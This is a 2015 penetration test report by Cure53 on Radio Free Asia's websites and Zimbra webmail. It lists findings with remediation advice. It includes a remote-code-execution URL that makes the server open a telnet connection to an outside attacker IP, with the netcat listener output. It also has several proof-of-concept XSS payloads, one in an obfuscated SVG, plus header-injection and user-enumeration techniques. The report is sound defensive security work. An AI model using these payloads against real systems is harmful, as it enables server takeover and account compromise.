Pentest-Report RFA.org Production 03.2015

Cure53, Dr.-Ing. Mario Heiderich / Dipl.-Ing. Abraham Aranguren

Index

Introduction

“Radio Free Asia’s mission is to provide accurate and timely news and information to Asian countries whose governments prohibit access to a free press. RFA is a private, nonprofit corporation that broadcasts news and information to listeners in Asian countries where full, accurate, and timely news reports are unavailable.”

From http://www.rfa.org/about

This penetration test against several selectively chosen parts of the RFA.org web estate lasted five days total and led to a discovery of thirteen security vulnerabilities and five general weaknesses. One of the findings was classified to be of critical severity as the underlying vulnerability allows an attacker to execute arbitrary code on the web server. The test was carried out by two senior testers of the Cure53 team.

The results from this test should not be taken lightly. They are primarily concerning due to the fact that the webserver was open to a trivially discoverable and highly exploitable issue for several years. Namely, the problem allowed an attacker to execute arbitrary code in the context of the web server. The issue was very easy to find because it is resulting from the simple fact of RFA using an outdated and hopelessly insecure version of the Zope / Plone Framework-CMS combination. The aforementioned version number was communicated in the HTTP headers. Evidently, this needs to be addressed immediately as having a highest security priority. It is further recommended to additionally conduct a thorough forensic investigation and verify whether any attackers managed to already exploit this issue in the past. Consequently, the webserver should be set up from scratch with the use of an updated Zope version. Once the issue has been fixed, its verification (as part of the offered package) should take place urgently.

In addition to the CMS-driven website, the Zimbra Collaboration Suite (ZCS) available on an RFA sub-domain was in scope for testing as well. Despite the ZCS instance being almost fully patched, a large amount of security vulnerabilities transpired from the test. The spotted issues mainly belong to the family of XSS attacks. After coordinating with the project managers leading this test, the vulnerabilities were reported to the Zimbra Security Team and are being addressed by them directly. Once a patch has been made available, the ZCS instance RFA is running should be updated immediately. Cure53 will notify the RFA team once they receive a notice from Zimbra about a patch. was received. Naturally, a quick re-test to verify the quality of the fixes deployed by Zimbra should follow.

Scope

- **RFA.org CMS-driven Websites**
  - https://rfa.org/
  - https://rfaweb.org/
  - https://rfanews.org/
- **RFA Zimbra Web-Mailer**
  - https://zmail.rfa.org/

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact, which is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier *(*e.g. *RFA-01-00X)* for the purpose of facilitating any future follow-up correspondence.

RFA-01-001 Zimbra: Persistent Passive XSS via SVG Attachment *(High)*

The Zimbra Collaboration Suite (ZCS) used by RFA allows users to send mails with attachments. After being sent and receive, several kinds of attachments will open upon a click on their respective filenames and then be displayed in a new window, loading from the Zimbra sub-domain. A thorough test of that feature has shown that the HTML Sanitizer employed by the ZCS tool is not working well enough. The sanitizer is supposed to remove any malicious and active HTML but fails to do so in an adequate manner when handling SVG files. Once it is embedded in an attachment, the following code will bypass the filter and allow for an injection of arbitrary JavaScript.

PoC:

```
<svg xmlns="http://www.w3.org/2000/svg">
      <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
      <circle r="400"></circle>
      <animate
            attributeName="xlink:href" begin="0"
            from="javascript:alert(opener.csrfToken)"
            to="&amp;amp;"
      />
      </a>
</svg>
```

Example Upload:
https://zmail.rfa.org/service/home/~/?auth=co&id=293-292&part=2

The problem was relayed to Zimbra Security Team. In response, the issue was confirmed and a fix is being developed. Once published, the fix will be confirmed by Cure53. When those steps are completed, the RFA ZCS instance should be upgraded to the latest version to remedy the described problem.

RFA-01-002 Persistent Passive XSS in Mail Body via URL Obfuscation *(High)*

A closer analysis of the Zimbra HTML Sanitizer has proved the presence of certain problems with the HTML mail body. Those can be abused by an attacker who seeks to inject active HTML and, after managing to trick a user to perform a click, execute arbitrary JavaScript. The problem is nested in the treatment and decoding procedures for HTML entities. It was noticed that the entities are decoded automatically and, therefore, payload that should originally *not* work gets changed and therefore unfolds its damaging potential.

Several example payloads for XSS via HTML mail body were spotted and are documented below. Note that in case that a victim is using an older version of MS Internet Explorer, a multitude of additional attack vectors become available.

XSS in MSIE via vbscript: URI:

```
<a href="vbscript:alert(1)">CLICK</a>
```

XSS in Chrome, Safari and Opera via JavaScript URI

```
<a href="java&amp;Tab;script:alert(1)">CLICK</a>
```

XSS in Chrome, Firefox and Internet Explorer

```
<a href="&amp;Tab;javascript::alert(1)">CLICK</a>
```

The problem was relayed to Zimbra Security Team. In response, the issue was confirmed and a fix is being developed. Once published, the fix will be confirmed by Cure53. When those steps are completed, the RFA ZCS instance should be upgraded to the latest version to remedy the described problem.

RFA-01-003 RCE and other problems on www.rfa.org via outdated Zope *(**Critical**)*

The RFA.org website is running a vulnerable version of the popular Zope Content Management System. This particularly crucial issue allows unauthenticated users to execute arbitrary commands on the web server. For example, accessing the following URL results in the occurrence of an immediate connection from RFA's IP 38.103.23.233.

PoC:

http://www.rfa.org/english/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=telnet%20176.126.243.183%20443

Connection on attacker's server:

```
$ nc -nvlp 443
listening on [any] 443 ...
connect to [176.126.243.183] from (UNKNOWN) [38.103.23.233] 15868
```

Running a *whois* command on the caller IP clarifies that this IP indeed belongs to RFA:

```
network:IP-Network:38.103.23.0/24
network:Postal-Code:20036
network:Country:US
network:State:DC
network:City:Washington
network:Street-Address:2025 M Street NW, Suite 300
network:Org-Name:Radio Free Asia
network:Tech-Contact:ZC108-ARIN
```

The problem is that the web server reports to be running Zope 2.13.8, which is outdated and known to be prone to suffer from a number of issues. The vulnerability demonstrated above is the following:

- **CVE-2011-3587**[1] - Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x through 4.0.9, 4.1, and 4.2 through 4.2a2. It permits remote attackers to execute arbitrary commands via vectors related to the *p_ class* in *OFS/misc_.py* and the use of Python modules.

Please note that this was patched on Zope 2.13.10[2] and the following documented public exploits exist for this very issue:

- http://www.exploit-db.com/exploits/18262/
- http://www.metasploit.com/modules/exploit/multi/http/plone_popen2

Zope 2.13.8 is additionally known to be susceptible to the issues listed below:

- **CVE-2012-5486**[3]: - The method *ZPublisher.HTTPRequest._scrubHeader()* in Zope 2 before 2.13.19, as used in Plone before 4.3 beta 1. It makes it possible for remote attackers to inject arbitrary HTTP headers via a line feed (LF) character.
- **CVE-2010-1104**[4]: Cross-site scripting (XSS) vulnerability in Zope 2.8.x before 2.8.12, 2.9.x before 2.9.12, 2.10.x before 2.10.11, 2.11.x before 2.11.6, and 2.12.x before 2.12.3. It allows injecting arbitrary web script or HTML via vectors related to error messages by remote attackers. Note: This was fixed in Zope 2.13.13 according to the Change Log[5].
- **CVE-2012-6661**[6]: Zope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1. It does not reseed the pseudo-random number generator (PRNG), which makes it easier for remote attackers to guess the value via unspecified

[1] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3587
[2] http://zope2.zope.org/news/security-vulnerability-announcement-cve-2011-3587
[3] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5486
[4] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1104
[5] http://docs.zope.org/zope2/releases/2.13/CHANGES.html
[6] http://www.cvedetails.com/cve/CVE-2012-6661/

vectors. Note: this issue was specifically delineated from CVE-2012-5508 due to different vulnerability types (ADT2).

- **CVE-2012-5507**[7] - The file *AccessControl/AuthEncoding.py* in Zope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1. It makes it possible for remote attackers to obtain passwords via vectors involving timing discrepancies in password validation.
- **CVE-2012-5508**[8] - The error pages in Plone before 4.2.3 and 4.3 before beta 1 permit remote attackers to obtain random numbers and derive the PRNG state for password resets via unspecified vectors. NOTE: this identifier was SPLIT per ADT2 due to different vulnerability types. CVE-2012-6661 was assigned for the PRNG reseeding issue in Zope.
- **CVE-2012-5489**[9]: The *App.Undo.UndoSupport.get_request_var_or_attr()* function in Zope before 2.12.21 and 3.13.x before 2.13.11, as used in Plone before 4.2.3 and 4.3 before Beta 1. It allows remote authenticated users to gain access to restricted attributes via unspecified vectors.

In addition, a batch of no less than 23 CVE Identifiers affecting Zope 2.3.18 can be found on the BugTraq entry titled “Plone and Zope Multiple Remote Security Vulnerabilities”[10].

It is strongly recommended to update Zope to its latest version and eradicate the issues that make it possible for an attacker to execute arbitrary code on the server. It should further be considered to conduct a thorough forensic investigation aimed at finding out whether the vulnerabilities had been already exploited in the past. Given that all information necessary to successfully exploit this has been public for several years, treating it as a real possibility would not be a stretch.

RFA-01-004 Zimbra: Reflected 2nd Order XSS via *localeId* Parameter *(High)*

It was found during the test that the Zimbra Collaboration Suite (ZCS) does not properly validate all incoming GET parameters. The *localeId* parameter, for instance, is vulnerable against a 2nd order injection. It is possible to modify it to contain JavaScript code. Then, the ZCS takes the GET parameter and uses it for a URL including another internal script file. The GET parameter is being used for that inclusion as well, prior to then being echoed again, this time not in a HTML context but rather in a JavaScript context.

This causes the injection to work and allows arbitrary JavaScript code execution to an attacker. The following steps need to be taken to fully reproduce the problem:

[7] http://www.cvedetails.com/cve/CVE-2012-5507/
[8] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5508
[9] http://www.cvedetails.com/cve/CVE-2012-5489/
[10] http://www.securityfocus.com/bid/56341/info

Create a malicious GET link *(2 examples provided)*

- https://zmail.rfa.org/public/launchNewWindow.jsp?skin=carbon&localeId=%250Dalert%281%29//&dev=1&childId=1
- https://zmail.rfa.org/home/heiderichm@rfa.org/Briefcase/XSS%20Test%200008?ver=1&localeId=%250Dalert%281%29//

Note the *localeId* parameter that is set to `%250Dalert(1)//`.

Observe the effect in HTML
Using that malicious link causes the following HTML to be produced by ZCS:

```
<title>Zimbra</title>
<!--
***** BEGIN LICENSE BLOCK *****
Zimbra Collaboration Suite Web Client
...
If not, see <http://www.gnu.org/licenses/>.
***** END LICENSE BLOCK *****
-->
<script type="text/javascript"
src="/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,AjxTemplateMsg.js?
v=140828194227&debug=true&language=%0dalert(1)//&skin=carbon"></script>
<link href='/css/common,dwt,msgview,login,zm,spellcheck,images,skin.css?
v=140828194227&skin=carbon' rel='stylesheet' type="text/css">
```

Observe the effect in JavaScript
The resulting JavaScript which confirms that the injection is working will look like this:

```
// Locale:
alert(1)//
// Basename: /res/I18nMsg
if (!window.I18nMsg) { I18nMsg = {}; }
a=I18nMsg;
```

The *localeId* parameter should be properly filtered and neither allow new-lines nor any other non-word characters, such as parenthesis. Only the characters a-Z with an addition of the underscore are required. The problem was relayed to Zimbra Security Team. In response, the issue was confirmed and a fix is being developed. Once published, the fix will be confirmed by Cure53. When those steps are completed, the RFA ZCS instance should be upgraded to the latest version to remedy the described problem.

RFA-01-005 Zimbra: Self-executing SVG XSS via Mail Attachments *(High)*

The Zimbra Collaboration Suite (ZCS) used by RFA allows sending mails and using attachments. Several kinds of attachments will, after being sent and received, open upon a click on the attachment filename and then show in a new window, loading from the Zimbra sub-domain. A thorough test of that feature has demonstrated that the HTML Sanitizer employed by the ZCS tool is not working well enough. The sanitizer is supposed to remove any malicious and active HTML but fails to adequately do so when handling SVG files. Once embedded in an attachment, the following code will bypass the filter and allow injecting arbitrary JavaScript that, contrary to the example shown in RFA-01-001 ,executes automatically without a click.

PoC I:

```
<?xml version='1.0' encoding='UTF-8'?>
<svg id="xss" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject requiredExtensions="http://www.w3.org/1999/xhtml">
    <embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)"></embed>
</foreignObject>
</svg>
```

PoC II:

```
<?xml version='1.0' encoding='UTF-8'?>
<svg id="xss" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<use
xlink:href="
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3
hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgIC
AgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZW
QgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydC
hsb2NhdGlvbikiIC8+DQogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>
```

Example Uploads:

- https://zmail.rfa.org/service/home/~/?auth=co&loc=en_US&id=352&part=2
- https://zmail.rfa.org/service/home/~/?auth=co&loc=en_US&id=385&part=2

The problem was relayed to Zimbra Security Team. In response, the issue was confirmed and a fix is being developed. Once published, the fix will be confirmed by Cure53. When those steps are completed, the RFA ZCS instance should be upgraded to the latest version to remedy the described problem.

RFA-01-006 Reflected XSS in RFA Search Results *(Medium)*

A reflected XSS vulnerability was found in the search results of the RFA.org search page. Interestingly, the search feature does not permit to query for strings including parenthesis, so the payload here had to be varied slightly to evade that limitation. The core problem is that user-controlled input, which in essence means the search string, is being reflected inside a script element.

PoC:
http://www.rfa.org/about/search?search_text%3Autf7%3Austring=TEST%22,location=%27javascript:alert%25281%2529%27//

Affected Code:
```
<script language="javascript1.1" type="text/javascript">RFA.tpl =
"search";</script>
<script language="javascript1.1" type="text/javascript">RFA.search_key =
"TEST",location='javascript:alert%281%29'//";</script>
<script language="javascript1.1" type="text/javascript">RFA.search_num =
"0";</script>
```

It is recommended to escape and filter all user-controlled output properly and according to the context it is being used in. In this particular case, the user-input is used inside a script element, which is extremely risky and hard to filter correctly. The proper encoding that should be in place here is JavaScript escaping. It would, for instance, turn the offending double-quote into a Unicode escape (“\u0022”), so that the user-input can no longer break out the quoted string.

RFA-01-007 Reflected XSS on Plone CMS Login Page *(Low)*

It was found during the test that yet another XSS problem was hidden in the CML login form. The Plone CMS Login renders user-supplied input in the link *href* context, which may be abused to perform phishing attacks against existing or prospective www.rfa.org users, regardless of escaping procedures being in place.

PoC I (XSS):
http://www.rfa.org/english/portal_css/RFA%20CMS/login_form?join_url=javascript:alert%281%29

PoC II (Phishing):
http://www.rfa.org/english/portal_css/RFA%20CMS/login_form?join_url=%20https://cure53.de?join%20it%20will%20be%20great

Resulting HTML:
```
<p class="hiddenStructure">
<a accesskey="2" href="http://www.rfa.org/english/portal_css/RFA
%20CMS/login_form?join_url=javascript:alert%281%29#content">Skip to content.</a>
|
<a accesskey="6" href="http://www.rfa.org/english/portal_css/RFA
%20CMS/login_form?join_url=javascript:alert%281%29#portlet-navigation-tree">Skip
```

```
to navigation</a>
</p>
```

It should be made sure that no external URLs or even JavaScript and Data URI can be used as “join URLs” to avoid XSS attacks and data leakage. Ideally, a filter would check if the URL is a relative URL by ensuring that the URL string starts with a slash and a word character. This way both XSS and absolute URL injection can be fully avoided.

RFA-01-008 Multiple Reflected XSS on www.rfa.org via Plone Scripts *(Medium)*

Next finding pertains to an outdated version of the Plone CMS being used by RFA.org, and deemed vulnerable against reflected XSS in many different scripts. An attacker can abuse this to inject JavaScript into a legitimate user’s response and steal or modify sensitive data. All of the following URLs were verified to be remotely accessible without authentication and vulnerable to reflected XSS. Please consult the examples below:

- http://www.rfa.org/english/portal_css/spamProtect?mailaddress=a@b.com%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&mailname=%22%3E%3Cscript%3Ealert%282%29%3C/script%3E&cssclass=%22%3E%3Cscript%3Ealert%283%29%3C/script%3E&cssid=%22%3E%3Cscript%3Ealert%284%29%3C/script%3E
- http://www.rfa.org/english/portal_css/utranslate?msgid=%3Cscript%3Ealert%281%29%3C/script%3E
- http://www.rfa.org/english/portal_css/translate?msgid=%3Cscript%3Ealert%281%29%3C/script%3E
- http://www.rfa.org/english/portal_css/unique?s=%3Cscript%3Ealert%281%29%3C/script%3E&s=2
- http://www.rfa.org/english/portal_css/sort_modified_ascending?catalog_sequence:list=1,2,%3Cscript%3Ealert%281%29%3C/script%3E
- http://www.rfa.org/english/portal_css/reverseList?aList=1,2,3&aList=%3Cscript%3Ealert%281%29%3C/script%3E
- http://www.rfa.org/english/portal_css/formatColumns?items=123&items=%3Cscript%3Ealert%281%29%3C/script%3E

Another XSS (and open redirect) problem was discovered during the tampering with the HTTP Referrer header. This problem is of lower severity, however, since an attacker must be able to control the Referrer header of the victim’s user agent:

Request:

```
GET http://www.rfa.org/english/portal_css/redirectToReferrer?message=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: <script>alert(1)</script>
Content-Length: 0
Host: www.rfa.org
```

Response:

```
HTTP/1.1 302 Moved Temporarily
Server: Zope/(2.13.8, python 2.7.6, linux2) ZServer/1.1
Content-Type: text/html; charset=utf-8
Location: <script>alert(1)</script>
X-Cache-Lookup: MISS from localhost:8100
Content-Encoding: gzip
Content-Length: 40
Date: Tue, 17 Mar 2015 05:21:13 GMT
Connection: keep-alive
Via: 1.0 localhost (squid/3.1.14)

<script>alert(1)</script>
```

It is recommended to upgrade Plone to the latest version and to set up strict access control measures so that, at the very minimum, unauthenticated users are not able to access Plone scripts directly. After Plone has been upgraded to a more secure version, a quick re-test should be performed to determine whether the vulnerabilities have in fact been fixed successfully.

RFA-01-009 XSS on rfanews.org via outdated Mailman Software *(Medium)*

The *rfanews.org* website appears to be running GNU Mailman 2.1.14, this version is known to be vulnerable to XSS:

> *"CVE-2011-0707*[11] *- Multiple cross-site scripting (XSS) vulnerabilities in Cgi/confirm.py in GNU Mailman 2.1.14 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) full name or (2) username field in a confirmation message."*

It is recommended to upgrade to the latest Mailman version to solve this problem. Moving forward, creating a patch management programme to avoid this situation in the future is highly encouraged.

RFA-01-012 Potential for DoS Attacks caused by outdated Squid Version *(Medium)*

The RFA.org website seems to be running squid 3.1.14. This version is outdated and known to be vulnerable to the following issues:

- **CVE-2014-0128**[12]: Squid 3.1 before 3.3.12 and 3.4 before 3.4.4, when SSL-Bump is enabled. It makes it possible for remote attackers to cause a denial of service (assertion failure) via a crafted range request related to state management.
- **CVE-2013-0189**[13]: *cachemgr.cgi* in Squid 3.1.x and 3.2.x, possibly 3.1.22, 3.2.4, and other versions. It means that remote attackers can cause a denial of service (resource consumption) via a crafted request. NOTE: this issue is due to an

[11] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-0707
[12] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0128
[13] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0189

incorrect fix of the CVE-2012-5643, possibly involving an incorrect order of arguments or an incorrect comparison.

- **CVE-2011-3205**[14]: Buffer overflow in the *gopherToHTML* function in *gopher.cc* in the Gopher reply parser in Squid 3.0 before 3.0.STABLE26, 3.1 before 3.1.15, and 3.2 before 3.2.0.11. It permits remote Gopher servers to cause a denial of service (memory corruption and daemon restart) or possibly have unspecified other impact via a long line in a response. NOTE: This issue exists because of a CVE-2005-0094 regression.

It is recommended to upgrade to the latest squid version to solve this problem. The successful upgrade should solve all problems without further ado and a re-test is not required.

RFA-01-013 Plone CMS Login over Plain-Text HTTP *(Medium)*

The CMS login URL on the www.rfa.org website is currently available over plain-text HTTP. User credentials may be stolen if users engage with this interface over untrusted networks such as public Wi-Fi.

URL:
http://www.rfa.org/english/portal_css/RFA2%20CMS/login_form

Once SSL has been setup as indicated in RFA-01-019, it is recommended to enforce SSL usage throughout the entire www.rfa.org website via HSTS[15]. This would substantially decrease the likelihood of MiTM attacks against online websites. With the use of Apache, this can be accomplished with a configuration similar to the following:

Step 1: Permanent redirect to “https://”

```
<VirtualHost www.rfa.org:80>
       ServerAlias www.rfa.org
       RewriteEngine On
       RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [redirect=301]
</VirtualHost>
```

Step 2: Instruct browsers to only connect using “https://”

```
<VirtualHost www.rfa.org:443>
      ...
      Header always set Strict-Transport-Security: max-age=31536000;
      includeSubDomains
</VirtualHost>
```

[14] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3205
[15] https://www.owasp.org/index.php/HTTP_Strict_Transport_Security

RFA-01-014 Multiple Issues based on outdated Apache Version *(Medium)*

The www.rfa.org website appears to be running Apache 2.2.20, which is not only outdated, but more importantly known to be vulnerable to a number of issues. Those include:

- **CVE-2011-3368**[16] - The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy. This makes it possible for remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
- **CVE-2011-3607**[17] - Integer overflow in the *ap_pregsub* function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled. Here local users are allowed to gain privileges via a *.htaccess* file with a crafted *SetEnvIf* directive; in conjunction with a crafted HTTP request header, this leads to a heap-based buffer overflow.
- **CVE-2011-4317**[18] - The *mod_proxy* module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy. It allows remote attackers to send requests to Intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
- **CVE-2012-0021**[19] - The *log_cookie* function in *mod_log_config.c* in the *mod_log_config* module in the Apache HTTP Server 2.2.17 through 2.2.21, when a threaded MPM is used, does not properly handle a *%{}C* format string,. This means that remote attackers are able to cause a denial of service (daemon crash) via a cookie that lacks both a name and a value.
- **CVE-2012-0031**[20] - *scoreboard.c* in the Apache HTTP Server 2.2.21 and earlier. This might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.
- **CVE-2012-0053**[21] - *protocol.c* in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents. It permits remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script.

[16] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3368
[17] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3607
[18] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4317
[19] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0021
[20] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0031
[21] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0053

- **CVE-2012-4557**[22] - The mod_proxy_ajp module in the Apache HTTP Server 2.2.12 through 2.2.21 places a worker node into an error state upon detection of a long request-processing time. It allows remote attackers to cause a denial of service (worker consumption) via an expensive request.

RFA-01-016 Multiple SSL Weaknesses on all Domains in Scope *(Medium)*

It was found over the course of the test that the RFA.org website uses an invalid certificate. This defeats all SSL protections and trains users to click through certificate warnings. In addition to this, weak ciphers and RC4 support were discovered on both the *rfanews.org* and *zmail.rfa.org* domains.

In order to solve this problem, it is recommended to get a valid SSL certificate and then setup SSL with assistance of the OWASP TLS Protection Cheat Sheet[23]. The Duraconf project provides tested and verified sample SSL configuration files that can be used to aid successful enrollment[24]. Ultimately, the SSLabs server test suite can be consulted to test the enrolled certificate and configuration and suggest tweaks if necessary[25]. The goal should be set at achieving an A-rated SSL certificate and configuration.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid attackers in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

RFA-01-010 Information Disclosure and Leakage via Debug URL *(Low)*

One of the minor issues identified by the test pertains to the fact that the following URL reveals how the HTTP request is processed on the server-side. In addition, it unnecessarily uncovers the underlying technologies, as well as internal IPs and gateways in use, and so forth:

URL:
http://www.rfa.org/english/type/fields/id/request/

Extracted Data:

```
...
AUTHENTICATION_PATH    'rfa/subsites'
...
LANGUAGE_TOOL    <Products.PloneLanguageTool.LanguageTool.LanguageBinding
instance at 0x7f5e11ee4488>
plone_skin    'english2'
PUBLISHED    <HTTPRequest,
...
```

[22] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4557
[23] https://owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
[24] https://github.com/ioerror/duraconf/tree/master/configs
[25] https://www.ssllabs.com/ssltest/

```
QUERY_STRING    ''
...
HTTP_X_AKAMAI_CONFIG_LOG_DETAIL    'true'
HTTP_VIA    '1.1 v1-akamaitech.net(ghost) (AkamaiGHost), 1.1 v1-
akamaitech.net(ghost) (AkamaiGHost), 1.1 akamai.net(ghost) (AkamaiGHost), 1.1
localhost (squid/3.1.14)'
...
SERVER_PORT    '9181'
HTTP_AKAMAI_ORIGIN_HOP    '3'
HTTP_HOST    'localhost:8100'
...
GATEWAY_INTERFACE    'CGI/1.1'
HTTP_X_FORWARDED_FOR 'x.x.x.x, 10.22.52.69, 2.22.52.71, 217.212.225.47, unknown'
HTTP_X_FORWARDED_HOST'www.rfa.org'
HTTP_ACCEPT_ENCODING 'gzip'
```

This debug page seems to be shown automatically for certain URLs ending in “/request”. It is recommended to get rid of this debugging functionality on production systems that are online on the internet.

RFA-01-011 Transparent User enumeration by design on Plone CMS *(Low)*

The Plone CMS is designed to reveal user names in the password reset function. This may be abused to enumerate usernames, as preparatory phase occurring prior to brute-forcing credentials against the CMS login page.

URL I:
http://www.rfa.org/english/portal_css/RFA2%20CMS/mail_password?userid=mec

Returns:
```
Info - The username you entered could not be found
```

URL II:
http://www.rfa.org/english/portal_css/RFA2%20CMS/mail_password?userid=admin
Returns:
```
Your password reset request has been mailed
```

It is recommended to provide a generic message so that no clues about the existence of a user are relayed to an attacker. For example, always return a message like the following:

> “If you have typed your username correctly, you should receive an email shortly, if you do not, please check your email spam folder and if the email is not there, please try again and verify that you entered your username correctly. Thank you.”

RFA-01-015 Information Disclosure via error Messages on www.rfa.org *(Medium)*

The www.rfa.org website provides excessive information to the client whenever a situation containing an error occurs. This may facilitate the attackers' efforts to exploit other issues with significantly less difficulty. The following is a limited set of examples to illustrate this problem:

Example 1: Parameter disclosure via error messages
Before it was fixed, the RCE vulnerability documented in RFA-01-003 reported separately in this document was returning the following error message when visiting the URL (i.e. without parameters) supplied below:

URL:
http://www.rfa.org/english/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2

Error message:

```
...
The parameter, cmd, was omitted from the request
Make sure to specify all required parameters, and try the request again.
...
```

Example 2: Stack trace details revealed via "Bobo-Exception" HTTP headers

URL: http://www.rfa.org/english/sitemap

Returns:

```
HTTP/1.1 302 Moved Temporarily
Server: Zope/(2.13.8, python 2.7.6, linux2) ZServer/1.1
Bobo-Exception-Line: 243
Bobo-Exception-Value: See the server error log for details
Bobo-Exception-File: Traversable.py
Bobo-Exception-Type: <class 'AccessControl.unauthorized.Unauthorized'>
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Location: http://www.rfa.org/english/require_login?came_from=http
%3A//www.rfa.org/english/sitemap
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
X-Cache-Lookup: MISS from localhost:8100
Content-Length: 22376
Date: Fri, 13 Mar 2015 23:43:08 GMT
Connection: keep-alive
Via: 1.0 localhost (squid/3.1.14)
```

With Zope being open source, an attacker can download the relevant source code and trace exactly the location of the exception in the sources with this step. Please see the example below:

File: *Zope-2.13.8/src/OFS/Traversable.py*
Code:

```
238                ok = False
239                   if not ok:
240                      if (container is not None or
241                          guarded_getattr(obj, name, _marker)
242                      is not next):
243                          raise Unauthorized(name)
```

Example 3: Detailed error message on the screen
URL:
http://www.rfa.org/english/portal_css/getFolderContents?contentFilter=None&batch=False&b_size=100&full_objects=False

Returns:

```
ValueError('dictionary update sequence element #0 has length 1; 2 is required',)
(Also, the following error occurred while attempting to render the standard
error message, please see the event log for full details: 'NoneType' object has
no attribute 'getPhysicalPath')
```

Example 4: "X-Ksscommands" HTTP headers
URL:
http://www.rfa.org/english/portal_css/RFA2%20CMS/getFolderContents?batch=True&b_start=0&b_size=100&full_objects=True

Returns:

```
X-Ksscommands: <?xml version="1.0"?>
 <kukit xmlns="http://www.kukit.org/commands/1.1">
 <commands>
     <command name="error">
        <param name="type">system</param>
        <param name="message">TypeError: unsupported operand type(s)
            for +: 'int' and 'str'</param>
     </command>
 </commands>
 </kukit>
```

Please note that many other error messages similar in nature were found during testing. The list above only serves as a brief summary of these issues. To solve this problem, it is recommended to log error messages on the server-side while solely showing a generic error message on the client-side.

RFA-01-017 Job offers leak underlying platform details *(Low)*

When exploitation of the RCE vulnerability was investigated, a few google searches were run to ensure that the RFA.org website was using Plone (i.e. required for this vulnerability). This yielded the following job offers, which provide very detailed information about the underlying technologies in use:

Job Offer 1:
http://www.rfa.org/english/jobs/technician_webtech_techops-07052011123030.html

- Systems Administration for RFA's Linux based web servers.
- Formulation, development, and implementation of integrated network architectures for RFA Web services.
- Application and database Administration for RFA's Content Management System (Plone CMS with Zope Object Database).
- Application and plug-in feature development and implementation for RFA's Content Management System (Plone CMS).

Job Offer 2:
http://www.rfa.org/about/jobs-and-interships/webtech-01052015094048.html

- PLONE
- Linux Administration
- Python
- ZOPE
- CSS
- wsgi
- Jquery
- Java
- Tal Templating + METAL
- Version control: SVN and git
- Database: MySQL, PostgreSQL
